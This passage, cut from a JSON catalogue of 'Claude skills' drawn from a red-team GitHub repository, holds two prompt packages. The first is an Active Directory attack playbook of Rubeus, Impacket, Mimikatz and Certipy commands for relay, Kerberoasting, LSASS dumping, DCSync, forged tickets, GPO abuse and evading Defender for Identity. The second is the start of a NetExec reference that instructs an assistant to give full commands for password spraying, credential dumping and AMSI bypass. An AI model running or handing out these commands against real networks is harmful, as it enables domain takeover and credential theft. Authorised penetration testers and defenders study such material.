-smb2support \\\n --escalate-user attacker --delegate-access\n\n# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up\nimpacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \\\n --adcs --template DomainController\n```\n\n### Kerberoasting\n\n```powershell\n# Request TGS for all SPN-bearing accounts\nRubeus.exe kerberoast /outfile:tgs.txt /nowrap\n# AES-only accounts (harder to crack but worth attempting)\nRubeus.exe kerberoast /aes /outfile:tgs_aes.txt\n```\n\n```bash\n# Cross-platform from Linux\nimpacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request\nhashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule\n```\n\n### ASREProasting\n\n```bash\n# Find users with DONT_REQUIRE_PREAUTH set\nimpacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass\nhashcat -m 18200 asrep.txt rockyou.txt\n```\n\n### LSASS / SAM Dumping\n\n```cmd\n:: Modern, AV-friendly: comsvcs.dll minidump\nrundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump C:\\out.dmp full\n\n:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)\n\n:: nanodump (handle duplication, no MiniDumpWriteDump)\nnanodump.exe --pid -w lsass.dmp --valid\n```\n\nParse with Mimikatz or pypykatz offline:\n\n```bash\npypykatz lsa minidump lsass.dmp\n```\n\n---\n\n## Privilege Escalation Within AD\n\n### ACL Abuse\n\n| Right | Abuse |\n|-------|-------|\n| `GenericAll` / `GenericWrite` | Add SPN → Kerberoast; reset password; add member |\n| `WriteDacl` | Grant yourself DCSync rights, then DCSync |\n| `WriteOwner` | Take ownership → grant rights → exploit |\n| `AllExtendedRights` (User) | Force password change |\n| `AllExtendedRights` (Domain) | DCSync |\n| `AddMember` | Add self to privileged group |\n| `WriteSPN` | Set SPN, kerberoast target |\n\n```powershell\n# Targeted Kerberoast (write SPN, roast, remove SPN)\nSet-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}\nRubeus.exe kerberoast /user:victim\nSet-DomainObject -Identity victim -Clear serviceprincipalname\n\n# Grant DCSync via WriteDacl\nAdd-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \\\n -PrincipalIdentity attacker -Rights DCSync\n```\n\n### Kerberos Delegation\n\n```powershell\n# Find delegation\nGet-DomainComputer -Unconstrained\nGet-DomainUser -TrustedToAuth\nGet-DomainComputer -TrustedToAuth\n\n# Unconstrained → wait for / coerce DC auth, capture TGT\nRubeus.exe monitor /interval:5 /nowrap\n\n# Constrained (S4U2self/S4U2proxy) — impersonate any user to allowed SPN\nRubeus.exe s4u /user:svc_acct /rc4: /impersonateuser:Administrator \\\n /msdsspn:cifs/dc.corp.local /ptt\n\n# Resource-Based Constrained Delegation (RBCD) — write msDS-AllowedToActOnBehalfOfOtherIdentity\n# Requires GenericAll/GenericWrite on the target computer object\n```\n\n### Coercion Primitives\n\n| Technique | Tool / RPC |\n|-----------|-----------|\n| PetitPotam | `MS-EFSRPC` (`EfsRpcOpenFileRaw`, `EfsRpcEncryptFileSrv`) |\n| PrinterBug | `MS-RPRN` (`RpcRemoteFindFirstPrinterChangeNotificationEx`) |\n| DFSCoerce | `MS-DFSNM` (`NetrDfsRemoveStdRoot`) |\n| ShadowCoerce | `MS-FSRVP` |\n| WebDAV | Search-and-replace UNC path embedded in any web fetch |\n\n```bash\n# Coerce + relay full chain\nimpacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access &\nPetitPotam.py -u low -p pass attacker-ip dc-ip\n# Result: RBCD set, S4U → DA on coerced machine\n```\n\n### GPO Abuse\n\n```powershell\n# Find GPOs you can edit\nGet-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |\n ?{ $_.SecurityIdentifier -eq (Get-DomainUser current).objectsid `\n -and $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }\n\n# SharpGPOAbuse — add scheduled task / immediate task to GPO\nSharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\\System \\\n --Command cmd.exe --Arguments \"/c net group 'Domain Admins' attacker /add /domain\" \\\n --GPOName \"Workstation Policy\"\n```\n\n---\n\n## ADCS Abuse — ESC1 through ESC15\n\n### Enumeration\n\n```bash\ncertipy find -u user@corp.local -p pass -dc-ip 10.0.0.1 -vulnerable -stdout\n```\n\n### Common Misconfigurations\n\n| ID | Misconfig | Exploitation |\n|----|-----------|--------------|\n| ESC1 | Client Auth + ENROLLEE_SUPPLIES_SUBJECT | Request cert with arbitrary UPN |\n| ESC2 | Any Purpose EKU | Request cert valid for any use |\n| ESC3 | Enrollment Agent | Request agent cert, then on-behalf-of any user |\n| ESC4 | Vulnerable template ACL | Modify template to ESC1 |\n| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | SAN injection on any template |\n| ESC7 | Vulnerable CA ACL (ManageCA) | Approve own pending requests |\n| ESC8 | Web Enrollment HTTP + no EPA | NTLM relay → cert |\n| ESC9 | No security extension + UPN | UPN spoofing post-account-rename |\n| ESC10 | StrongCertificateBindingEnforcement weak | UPN spoofing without rename |\n| ESC11 | RPC unprotected (no ICertPassage IF_ENFORCEENCRYPTICERTREQUEST) | Relay over RPC |\n| ESC13 | Issuance policy linked to group | Cert grants group membership |\n| ESC14 | altSecurityIdentities write | Map attacker cert to admin |\n| ESC15 | EKUwu — schema v1 templates | Inject EKU at request time |\n\n### ESC1 Exploitation\n\n```bash\n# Request cert as Administrator\ncertipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate \\\n -upn administrator@corp.local\n\n# Use cert to get TGT and NT hash via UnPAC-the-Hash\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.1\n```\n\n### ESC8 (Web Enrollment Relay)\n\n```bash\n# Coerce any DC, relay to ADCS Web Enrollment, request DC cert\nimpacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \\\n --adcs --template DomainController &\nPetitPotam.py attacker-ip dc.corp.local\n# Result: cert for DC$ → TGT → DCSync\n```\n\n---\n\n## Lateral Movement\n\n### Pass-the-Hash / Overpass-the-Hash\n\n```bash\n# PTH with NT hash\nnxc smb 10.0.0.0/24 -u admin -H --local-auth\nimpacket-psexec corp/admin@target -hashes :\n\n# Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)\nRubeus.exe asktgt /user:admin /rc4: /ptt\n```\n\n### Pass-the-Ticket\n\n```powershell\n# Inject TGT\nRubeus.exe ptt /ticket:base64.kirbi\n# Or from .ccache\nKRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.local\n```\n\n### Silent Lateral Tools\n\n```bash\n# WinRM (no event logs in default channel for command exec)\nevil-winrm -i target -u admin -H \n\n# SMB exec without service creation (uses task scheduler)\nimpacket-atexec corp/admin@target -hashes : \"whoami\"\n\n# WMI\nimpacket-wmiexec corp/admin@target -hashes :\n\n# DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)\nInvoke-DCOM -ComputerName target -Method MMC20 -Command \"calc.exe\"\n```\n\n---\n\n## Persistence\n\n### Golden Ticket (krbtgt forge)\n\n```bash\n# Requires krbtgt NT hash (from DCSync)\nimpacket-ticketer -nthash -domain-sid S-1-5-21-... -domain corp.local Administrator\nKRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.corp.local\n```\n\n### Silver Ticket (per-service forge)\n\n```bash\n# Forge TGS for a specific service using its account hash\nimpacket-ticketer -nthash -domain-sid -domain corp.local \\\n -spn cifs/server.corp.local Administrator\n```\n\n### Diamond / Sapphire Ticket (modern, evades MDI on krbtgt)\n\n```bash\n# Diamond — modify legitimate TGT in-flight (no krbtgt hash on wire)\nRubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512\n```\n\n### DCSync\n\n```bash\nimpacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :\n# In-memory PowerShell variant (Mimikatz)\nInvoke-Mimikatz -Command '\"lsadump::dcsync /user:krbtgt\"'\n```\n\n### DCShadow (register rogue DC, push changes)\n\n```\nmimikatz # !+\nmimikatz # !processtoken\nmimikatz # lsadump::dcshadow /object:CN=victim,... /attribute:primaryGroupID /value:519\nmimikatz # lsadump::dcshadow /push\n```\n\n### AdminSDHolder\n\nAdd ACE granting your account `GenericAll` on `CN=AdminSDHolder,CN=System,DC=corp,DC=local`. SDProp propagates to all protected groups every 60 minutes.\n\n---\n\n## Forest & Trust Attacks\n\n```powershell\n# Map trusts\nGet-DomainTrust -SearchBase \"DC=corp,DC=local\"\nGet-ForestTrust\n\n# SID History injection (cross-forest if SID filtering disabled)\n# ExtraSids in golden ticket → admin in trusted forest\nimpacket-ticketer -nthash -domain-sid \\\n -extra-sid S-1-5-21--519 -domain child.corp.local Administrator\n\n# Trust ticket forging (inter-realm TGT)\nRubeus.exe asktgs /service:krbtgt/parent.local /ticket:trust-ticket.kirbi\n```\n\n---\n\n## Hybrid AD / Entra ID (Azure AD) Pivots\n\n| Pivot | Path |\n|-------|------|\n| AAD Connect server compromise | Dump MSOL_ account → DCSync on-prem |\n| Seamless SSO | Forge Kerberos ticket for `AZUREADSSOACC$` → cloud SSO any user |\n| PTA agent | DLL hijack `Microsoft.Azure.SecurityTokenService` → harvest cleartext |\n| PHS hash sync | Read on-prem hashes from AAD Connect SQL (ADSync DB) |\n| Federated trust | Forge SAML token via stolen ADFS token-signing cert (Golden SAML) |\n| Pass-the-PRT | Steal PRT cookie from device → cloud session as user |\n\n```powershell\n# AADInternals — Hybrid identity attack toolkit\nGet-AADIntADSyncCredentials # Extract MSOL_ creds from AAD Connect\nOpen-AADIntOffice365Portal -AccessToken $token\nNew-AADIntSAMLToken -ImmutableID 'a==' -Issuer 'http://sts/adfs/services/trust' \\\n -PfxFileName 'token-signing.pfx'\n```\n\n---\n\n## Detection Evasion (MDI / Defender for Identity)\n\n| MDI Detector | Evasion |\n|--------------|---------|\n| Honeytoken account access | Always check `description` and recent activity before hitting accounts |\n| Reconnaissance via SAMR | Use ADWS / LDAP-only collection, throttle |\n| Suspicious Kerberos delegation | Avoid noisy `S4U2self` chains on monitored DCs |\n| Golden/Silver Ticket detection | Use Diamond/Sapphire variants; match legitimate ticket lifetime/encryption |\n| DCSync from non-DC | Relay through legitimate replication-permitted accounts |\n| Pass-the-Hash | Use overpass-the-hash to convert to Kerberos before lateraling |\n\n```powershell\n# Identify MDI sensors before noisy actions\nGet-DomainComputer -SPN '*MicrosoftATA*'\nGet-DomainComputer | ?{ $_.servicePrincipalName -match 'AATPSensor' }\n```\n\n---\n\n## Engagement Cheatsheet\n\n```bash\n# 1. Anonymous LDAP enum (no creds)\nldapsearch -x -H ldap://dc -s base -b \"\" \"(objectclass=*)\"\nnxc ldap dc -u '' -p '' --users\n\n# 2. Null SMB session\nnxc smb dc -u '' -p '' --shares\nimpacket-rpcclient -U '' dc -no-pass\n\n# 3. Password spray (low and slow)\nnxc smb dc -u users.txt -p 'Winter2025!' --continue-on-success\n\n# 4. Once authed: full enum + BloodHound\nbloodhound-python -d corp.local -u user -p pass -ns dc -c All --zip\n\n# 5. Identify attack path → execute → loot → persist\n```\n\n---\n\n## Key References\n\n- MITRE ATT&CK: TA0006 (Credential Access), TA0008 (Lateral Movement), T1558 (Steal/Forge Kerberos)\n- ADCS: SpecterOps \"Certified Pre-Owned\" (Schroeder, Christensen)\n- BloodHound: bloodhound.specterops.io\n- Coercion: github.com/p0dalirius/Coercer (unified coercion toolkit)\n- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/active-directory.md","schemaVersion":1},"repoUrl":"https://github.com/SnailSploit/Claude-Red/tree/main/Skills/active-directory/offensive-active-directory","tags":["claude-ai","claude-pt","claude-skills","redteam","redteam-tools","skills","prompt"],"stats":{"installVelocity7d":0,"retentionRate":0,"executions":0,"rating":null},"origin":"github","source":{"repo":"Claude-Red","audit":{"files":[],"binaries":[],"findings":[],"packages":0,"auditedAt":"2026-09-25T10:52:29.874Z","lockfiles":[]},"forks":901,"owner":"SnailSploit","stars":6898,"topics":["claude-ai","claude-pt","claude-skills","redteam","redteam-tools","skills"],"license":"MIT","fullName":"SnailSploit/Claude-Red","homepage":null,"language":"Python","pushedAt":"2026-09-19T23:46:22Z","avatarUrl":"https://avatars.githubusercontent.com/u/95986478?v=4","crawledAt":"2026-09-25T10:52:19.624Z","openIssues":15,"manifestFile":"SKILL.md","manifestPath":"Skills/active-directory/offensive-active-directory/SKILL.md","defaultBranch":"main"},"readme":"# Active Directory — Offensive Testing Methodology\n\n## Quick Workflow\n\n1. Recon AD structure offline (BloodHound, ADExplorer snapshot) — minimize live queries\n2. Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed\n3. Map attack paths to Domain Admin / Enterprise Admin / Tier 0\n4. Execute path with lowest detection cost, validate at each hop\n5. Establish persistence and document every action with timestamps\n\n---\n\n## Reconnaissance\n\n### BloodHound Collection\n\n```powershell\n# SharpHound (CSharp collector) — most stealthy with throttling\nSharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip\n\n# Stealth collection (DC-only, avoids workstation noise)\nSharpHound.exe -c DCOnly --Stealth\n\n# Bloodhound.py from Linux (no Windows host needed)\nbloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All\n```\n\n### PowerView (No Tool Drop)\n\n```powershell\n# Domain enumeration without binaries\n$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()\nGet-DomainUser -SPN | Select samaccountname,serviceprincipalname\nGet-DomainComputer -Unconstrained\nGet-DomainGPO | ?{$_.gpcmachineextensionnames -match \"Restricted Groups\"}\nGet-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |\n ?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}\n```\n\n### ADExplorer Offline\n\n```\n# Take snapshot from any low-priv user, analyze offline\nADExplorer.exe → File → Create Snapshot\n# Convert to BloodHound format\nADExplorerSnapshot.py snapshot.dat -o output/\n```\n\n---\n\n## Credential Harvesting\n\n### LLMNR / NBT-NS / mDNS Poisoning\n\n```bash\n# Capture NetNTLMv2 hashes from broadcast resolution\nresponder -I eth0 -wrf\n\n# Inveigh (Windows-side, when you have a foothold)\nInvoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y\n```\n\nCrack with hashcat mode 5600. If cracking fails, relay instead.\n\n### NTLM Relay\n\n```bash\n# Identify relay targets (no SMB signing, LDAP signing not required)\nnxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt\n\n# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request\nimpacket-ntlmrelayx -tf relay-targets.txt -smb2support \\\n --escalate-user attacker --delegate-access\n\n# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up\nimpacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \\\n --adcs --template DomainController\n```\n\n### Kerberoasting\n\n```powershell\n# Request TGS for all SPN-bearing accounts\nRubeus.exe kerberoast /outfile:tgs.txt /nowrap\n# AES-only accounts (harder to crack but worth attempting)\nRubeus.exe kerberoast /aes /outfile:tgs_aes.txt\n```\n\n```bash\n# Cross-platform from Linux\nimpacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request\nhashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule\n```\n\n### ASREProasting\n\n```bash\n# Find users with DONT_REQUIRE_PREAUTH set\nimpacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass\nhashcat -m 18200 asrep.txt rockyou.txt\n```\n\n### LSASS / SAM Dumping\n\n```cmd\n:: Modern, AV-friendly: comsvcs.dll minidump\nrundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump C:\\out.dmp full\n\n:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)\n\n:: nanodump (handle duplication, no MiniDumpWriteDump)\nnanodump.exe --pid -w lsass.dmp --valid\n```\n\nParse with Mimikatz or pypykatz offline:\n\n```bash\npypykatz lsa minidump lsass.dmp\n```\n\n---\n\n## Privilege Escalation Within AD\n\n### ACL Abuse\n\n| Right | Abuse |\n|-------|-------|\n| `GenericAll` / `GenericWrite` | Add SPN → Kerberoast; reset password; add member |\n| `WriteDacl` | Grant yourself DCSync rights, then DCSync |\n| `WriteOwner` | Take ownership → grant rights → exploit |\n| `AllExtendedRights` (User) | Force password change |\n| `AllExtendedRights` (Domain) | DCSync |\n| `AddMember` | Add self to privileged group |\n| `WriteSPN` | Set SPN, kerberoast target |\n\n```powershell\n# Targeted Kerberoast (write SPN, roast, remove SPN)\nSet-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN","createdAt":"2026-09-25T10:52:30.214Z","updatedAt":"2026-09-25T10:52:30.214Z"},{"id":"cmugudci80138qu06m681f2mq","slug":"snailsploit-claude-red-offensive-netexec","name":"offensive-netexec","description":"Use this skill whenever the user asks about NetExec (nxc) — a network exploitation and post-exploitation tool for Active Directory environments. Triggers include: any mention of 'nxc', 'netexec', 'crackmapexec' successor questions, AD enumeration, SMB/LDAP/WinRM/MSSQL/SSH/RDP/VNC/WMI/FTP/NFS protocol attacks, password spraying, credential dumping (SAM, NTDS, LSASS, DPAPI), Kerberoasting, ASREPRoasting, lateral movement, BloodHound collection, module usage, or any pentest workflow involving Windows domain environments. This skill covers ALL protocols, ALL modules, and ALL core features of NetExec. Always provide full command examples with correct flags and options.","authorId":"gh:snailsploit","authorName":"SnailSploit","version":"0.1.0","category":"Prompt","securityLevel":"Community","downloadsCount":0,"githubStars":6898,"pricePerCall":0,"manifest":{"name":"offensive-netexec","tools":[],"category":"Prompt","entrypoint":{"type":"prompt"},"description":"Use this skill whenever the user asks about NetExec (nxc) — a network exploitation and post-exploitation tool for Active Directory environments. Triggers include: any mention of 'nxc', 'netexec', 'crackmapexec' successor questions, AD enumeration, SMB/LDAP/WinRM/MSSQL/SSH/RDP/VNC/WMI/FTP/NFS protocol attacks, password spraying, credential dumping (SAM, NTDS, LSASS, DPAPI), Kerberoasting, ASREPRoasting, lateral movement, BloodHound collection, module usage, or any pentest workflow involving Windows domain environments. This skill covers ALL protocols, ALL modules, and ALL core features of NetExec. Always provide full command examples with correct flags and options.","permissions":[],"systemPrompt":"# NetExec (nxc) — Reference Skill\n\n## Global Syntax & Options\n\n```\nnxc [auth options] [action options] [global options]\n```\n\n### Available Protocols\n`smb` `ssh` `ldap` `ftp` `wmi` `winrm` `rdp` `vnc` `mssql` `nfs`\n\n### Target Formats\n```bash\nnxc smb 192.168.1.0/24 # CIDR\nnxc smb 192.168.1.1 192.168.1.2 # Multiple IPs\nnxc smb 192.168.1.1-28 # IP range\nnxc smb dc01.corp.local # Hostname\nnxc smb ~/targets.txt # File\n```\n\n### Global Flags\n| Flag | Description |\n|------|-------------|\n| `-t THREADS` | Concurrent threads (default: 100) |\n| `--timeout TIMEOUT` | Per-thread timeout in seconds |\n| `--jitter INTERVAL` | Random delay between connections (e.g. `3`, `2-5`, `4-4`) |\n| `--no-progress` | Suppress progress bar |\n| `--verbose` | Verbose output |\n| `--debug` | Debug-level output |\n\n---\n\n## Authentication\n\n### Core Auth Flags\n```bash\n-u USERNAME # Single username\n-u user1 user2 # Multiple usernames\n-u ~/users.txt # Username file\n\n-p PASSWORD # Plaintext password\n-p 'P@ss!' # Always quote special chars\n-p='-P@ss' # Use = for passwords starting with -\n\n-H 'NTHASH' # NT hash only\n-H 'LM:NT' # Full NTLM hash\n-H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'\n\n-id # Use credential from nxcdb\n\n--local-auth # Authenticate as local user (not domain)\n```\n\n### Domain Auth (SMB example)\n```bash\nnxc smb 192.168.1.0/24 -u Administrator -p 'Password123'\nnxc smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'\n```\n\n### Local Auth\n```bash\nnxc smb 192.168.1.0/24 -u localadmin -p 'Password123' --local-auth\n```\n\n### Kerberos Auth\n```bash\n# Auto-handle TGT using password\nnxc smb dc01.corp.local -u user -p pass -k\n\n# Use existing ccache ticket\nexport KRB5CCNAME=/path/to/ticket.ccache\nnxc smb dc01.corp.local --use-kcache\n\n# Specify KDC explicitly\nnxc ldap dc01.corp.local -u user -p pass -k --kdcHost dc01.corp.local\n```\n\n### Multi-Domain Environments\n```bash\n# users.txt format:\n# DOMAIN1\\user1\n# DOMAIN2\\user2\nnxc smb -u users.txt -p 'Password123'\n```\n\n### Output Color Codes\n- **RED** — Authentication failed\n- **GREEN** — Authentication succeeded\n- **MAGENTA** — Password valid but account is not admin\n- **`(Pwn3d!)`** — Admin access / code execution available\n\n### Pwn3d! Meaning by Protocol\n| Protocol | Pwn3d! Meaning |\n|----------|---------------|\n| SMB | Local/domain admin access |\n| WMI | Local admin |\n| WinRM | Code execution |\n| RDP | Code execution |\n| VNC | Code execution |\n| LDAP | Path to Domain Admin |\n| SSH | Root access |\n| FTP | No check |\n\n---\n\n## Password Spraying & Brute Force\n\n```bash\n# Spray one password across many users\nnxc smb -u ~/users.txt -p 'Summer2024!' --no-bruteforce --continue-on-success\n\n# Brute force (user × pass combinations)\nnxc smb -u ~/users.txt -p ~/passwords.txt\n\n# Hash spraying\nnxc smb -u ~/users.txt -H ~/hashes.txt --no-bruteforce\n\n# Throttle to avoid lockouts\nnxc smb -u ~/users.txt -p 'Pass123' --jitter 3\nnxc smb -u ~/users.txt -p 'Pass123' --jitter 2-5\n\n# IMPORTANT: --no-bruteforce pairs user[0]:pass[0], user[1]:pass[1], etc.\n# Without it: every user × every password (full bruteforce)\n\n# Keep going after first valid credential found\nnxc smb -u ~/users.txt -p 'Password' --continue-on-success\n```\n\n> ⚠️ **OpSec**: Jitter works per-host. Spraying against multiple hosts\n> multiplies authentication attempts. Monitor domain lockout policy before\n> spraying (use `--pass-pol` first).\n\n---\n\n## SMB Protocol\n\n### Network Discovery\n```bash\n# Map live hosts — get OS, hostname, domain, signing, SMBv1\nnxc smb 192.168.1.0/24\n\n# Expected output:\n# SMB 192.168.1.101 445 DC2016A [*] Windows Server 2016 x64 (name:DC2016A) (domain:CORP) (signing:True) (SMBv1:False)\n```\n\n### Enumeration\n```bash\n# Shares and access\nnxc smb -u user -p pass --shares\n\n# Null session share enum\nnxc smb -u '' -p '' --shares\n\n# Guest logon check\nnxc smb -u 'a' -p ''\nnxc smb -u 'a' -p '' --shares\n\n# Domain users\nnxc smb -u user -p pass --users\nnxc smb -u user -p pass --users-export output.txt\n\n# Enumerate users by bruteforcing RIDs (no domain creds needed)\nnxc smb -u '' -p '' --rid-brute\nnxc smb -u '' -p '' --rid-brute 10000 # Set max RID\n\n# Password policy (check before spraying!)\nnxc smb -u user -p pass --pass-pol\n\n# Logged-on users (requires admin)\nnxc smb 192.168.1.0/24 -u user -p pass --loggedon-users\nnxc smb 192.168.1.0/24 -u user -p pass --loggedon-users targetuser\n\n# Active Windows sessions (registry-based, no admin needed)\nnxc smb /24 -u user -p pass --reg-sessions\nnxc smb /24 -u user -p pass --reg-sessions 'admin_user'\nnxc smb /24 -u user -p pass --reg-sessions './users.txt'\n\n# Active sessions via QWINSTA (admin required)\nnxc smb 192.168.1.0/24 -u user -p pass --qwinsta\nnxc smb 192.168.1.0/24 -u user -p pass --qwinsta targetuser\n\n# Local groups\nnxc smb 192.168.1.0/24 -u user -p pass --local-group\n\n# Disks\nnxc smb 192.168.1.0/24 -u user -p pass --disks\n\n# Network interfaces (admin required)\nnxc smb -u user -p pass --interfaces\n\n# Null sessions\nnxc smb -u '' -p ''\n\n# SMB signing not required (relay attack candidates)\nnxc smb 192.168.1.0/24 --gen-relay-list relay_targets.txt\n\n# Check for NTLMv1 (via remote registry, admin required)\nnxc smb -u user -p pass -M ntlmv1\n\n# Enumerate AV/EDR (no admin needed)\nnxc smb -u user -p pass -M enum_av\n\n# Enumerate BitLocker status\nnxc smb -u user -p pass -M bitlocker\n\n# Enumerate remote processes (admin required)\nnxc smb -u user -p pass --remote-processes\n\n# Check for lockscreen backdoors (admin required)\nnxc smb -u Administrator -p 'PASSWORD' -M lockscreendoors\n```\n\n### Spidering Shares\n```bash\n# Spider specific share for file pattern\nnxc smb -u user -p pass --spider C\\$ --pattern txt\n\n# Spider all readable shares (list only)\nnxc smb -u user -p pass -M spider_plus\n\n# Spider and download all files\nnxc smb -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True\n\n# Filter by content/regex\nnxc smb -u user -p pass -M spider_plus -o PATTERN='password'\n```\n\n### File Operations\n```bash\n# Get a file\nnxc smb -u user -p pass --get-file /remote/path/file.txt /local/path/file.txt\n\n# Put a file\nnxc smb -u user -p pass --put-file /local/file.txt /remote/path/file.txt\n```\n\n### Command Execution\nRequires admin/Pwn3d! access.\n\n```bash\n# Execute cmd command (-x)\nnxc smb -u Administrator -p 'Pass' -x whoami\n\n# Execute PowerShell command (-X)\nnxc smb -u Administrator -p 'Pass' -X '$PSVersionTable'\n\n# Force specific execution method\nnxc smb -u user -p pass -x whoami --exec-method wmiexec\nnxc smb -u user -p pass -x whoami --exec-method atexec\nnxc smb -u user -p pass -x whoami --exec-method smbexec\n\n# Bypass AMSI for PowerShell\nnxc smb -u user -p pass -X 'Get-Process' --amsi-bypass /path/to/payload\n\n# Process Injection — run as another user's process (SYSTEM needed)\nnxc smb -u user -p pass -M pi -o PID= EXEC=whoami\n```\n\n**Execution method order (automatic fallback):** wmiexec → atexec → smbexec\n\n### Credential Dumping via SMB\nAll methods below require local admin unless noted.\n\n```bash\n# SAM hashes (local accounts)\nnxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --sam\nnxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --sam secdump # fallback method\n\n# LSA secrets (requires Domain Admin or Local Admin on DC)\nnxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --lsa\nnxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --lsa secdump\n\n# NTDS.dit — full AD hash dump (requires Domain Admin)\nnxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds\nnxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --enabled # active accounts only\nnxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds vss # VSS method\nnxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --user Administrator\nnxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --user NETBIOS/Administrator # multi-domain\n\n# NTDS via ntdsutil module\nnxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' -M ntdsutil\n\n# NTDS via raw disk access\nnxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' -M ntds-dump-raw -o TARGET=NTDS\n\n# LSASS dump\nnxc smb -u Administrator -p 'Pass' -M lsassy\nnxc smb -u Administrator -p 'Pass' -M nanodump\nnxc smb -u Administrator -p 'Pass' -M mimikatz # deprecated\n\n# DPAPI — browser creds, Credential Manager\nnxc smb -u user -p pass --dpapi\nnxc smb -u user -p pass --dpapi cookies # include browser cookies\nnxc smb -u user -p pass --dpapi nosystem # skip system creds (stealth)\nnxc smb -u user -p pass --local-auth --dpapi nosystem\n\n# Azure/M365 token cache (WAM)\nnxc smb -u user -p pass -M wam\nnxc smb -u user -p pass -M wam --mkfile masterkeys.txt\nnxc smb -u user -p pass -M wam --pvk domain_backup_key.pvk\n\n# BackupOperator privilege abuse (no local admin needed if SeBackupPrivilege)\nnxc smb -u user -p pass -M backup_operator\n\n# SCCM credentials\nnxc smb -u user -p pass --sccm\nnxc smb -u user -p pass --sccm disk\nnxc smb -u user -p pass --sccm wmi\n\n# Credential manager applications\nnxc smb -u user -p pass -M keepass_discover\nnxc smb -u user -p pass -M keepass_trigger -o KEEPASS_CONFIG_PATH=\"/path/from/discovery\"\nnxc smb -u user -p pass -M veeam\nnxc smb -u user -p pass -M wifi\nnxc smb -u user -p pass -M winscp\nnxc smb -u user -p pass -M vnc\nnxc smb -u user -p pass -M mremoteng\nnxc smb -u user -p pass -M rdcman\nnxc smb -u user -p pass -M putty\n\n# Notepad / Notepad++ unsaved documents\nnxc smb -u user -p pass -M notepad\nnxc smb -u user -p pass -M notepad++\n```\n\n### Vulnerability Scanning\n```bash\n# ZeroLogon (CVE-2020-1472)\nnxc smb -u '' -p '' -M zerologon\n\n# noPAC / Sam-The-Admin (needs creds)\nnxc smb -u user -p pass -M nopac\n\n# PrintNightmare\nnxc smb -u '' -p '' -M printnightmare\n\n# SMBGhost (CVE-2020-0796)\nnxc smb -u '' -p '' -M smbghost\n\n# EternalBlue MS17-010\nnxc smb -u '' -p '' -M ms17-010\n\n# NTLM Reflection (CVE-2025-33073) — needs creds\nnxc smb -u user -p pass -M ntlm_reflection\n\n# Coercion vulns (PetitPotam, DFSCoerce, PrinterBug, MSEven, ShadowCoerce)\nnxc smb -u '' -p '' -M coerce_plus\nnxc smb -u '' -p '' -M coerce_plus -o LISTENER=\nnxc smb -u '' -p '' -M coerce_plus -o LISTENER= ALWAYS=true\nnxc smb -u '' -p '' -M coerce_plus -o METHOD=PetitPotam # or pe, dfs, pr\n\n# Run multiple vuln checks at once\nnxc smb -u '' -p '' -M zerologon -M printnightmare -M smbghost\n```\n\n### LAPS\n```bash\n# Read LAPS password (if you have a user with ReadLAPSPassword rights)\nnxc smb -u laps-reader -p pass --laps\nnxc smb -u laps-reader -p pass --laps customadminname # non-default admin name\n```\n\n### Delegation Abuse\n```bash\n# RBCD — impersonate any user if msDS-AllowedToActOnBehalfOfOtherIdentity is set\nnxc smb -u jon.snow -p iknownothing --delegate Administrator\n\n# S4U2Self — with computer account nearly always gets local admin\nnxc smb -u 'COMPUTER$' -H --delegate Administrator 